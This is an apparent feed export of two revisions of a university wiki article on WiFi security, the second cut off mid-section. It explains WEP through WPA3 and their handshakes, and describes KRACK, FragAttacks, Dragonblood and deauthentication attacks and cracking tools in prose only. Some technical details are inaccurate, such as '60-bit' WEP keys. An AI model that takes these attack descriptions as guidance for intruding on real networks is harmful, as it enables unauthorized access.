		<summary type="html">&lt;p&gt;RSchuller: /* WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot;&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;Known Weaknesses of WEP &lt;br /&gt;
&amp;lt;ref name=&amp;quot;WEP versus WPA&amp;quot;&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Mansoori&lt;br /&gt;
| first2 = Masood&lt;br /&gt;
| last3 = Danesh&lt;br /&gt;
| first3 = Mir Mohammad Seyed&lt;br /&gt;
| title = Wired Equavilent Privacy (WEP) versus Wi-Fi Protected Access (WPA)&lt;br /&gt;
| booktitle = 2009 International Conference on Signal Processing Systems&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 445-449&lt;br /&gt;
| doi = 10.1109/ICSPS.2009.87&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5166826&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*WEP has no Mechanism to prevent to manipulate data packets.&lt;br /&gt;
*WEP can not prevent Replay Attacks&lt;br /&gt;
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer.&lt;br /&gt;
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key.&lt;br /&gt;
*WEP allows attackers to modify messages or data without knowing the encryption key.&lt;br /&gt;
*with WEP it is easy to manipulate Authentication messages.&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA offers two modes of operation:&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key):&lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA2 like WPA supports two modes of security. Like in WPA there are.&lt;br /&gt;
&lt;br /&gt;
*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)&lt;br /&gt;
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
*WPA2-Enterprise (802.1X)&lt;br /&gt;
This is the also called &amp;quot;corporate&amp;quot; security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16781</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16781"/>
		<updated>2024-12-07T17:02:13Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* Versions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot;&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;Known Weaknesses of WEP &lt;br /&gt;
&amp;lt;ref name=&amp;quot;WEP versus WPA&amp;quot;&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Mansoori&lt;br /&gt;
| first3 = Masood&lt;br /&gt;
| title = Wired Equavilent Privacy (WEP) versus Wi-Fi Protected Access (WPA)&lt;br /&gt;
| booktitle = 2009 International Conference on Signal Processing Systems&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 445-449&lt;br /&gt;
| doi = 10.1109/ICSPS.2009.87&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5166826&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*WEP has no Mechanism to prevent to manipulate data packets.&lt;br /&gt;
*WEP can not prevent Replay Attacks&lt;br /&gt;
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer.&lt;br /&gt;
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key.&lt;br /&gt;
*WEP allows attackers to modify messages or data without knowing the encryption key.&lt;br /&gt;
*with WEP it is easy to manipulate Authentication messages.&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA offers two modes of operation:&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key):&lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA2 like WPA supports two modes of security. Like in WPA there are.&lt;br /&gt;
&lt;br /&gt;
*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)&lt;br /&gt;
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
*WPA2-Enterprise (802.1X)&lt;br /&gt;
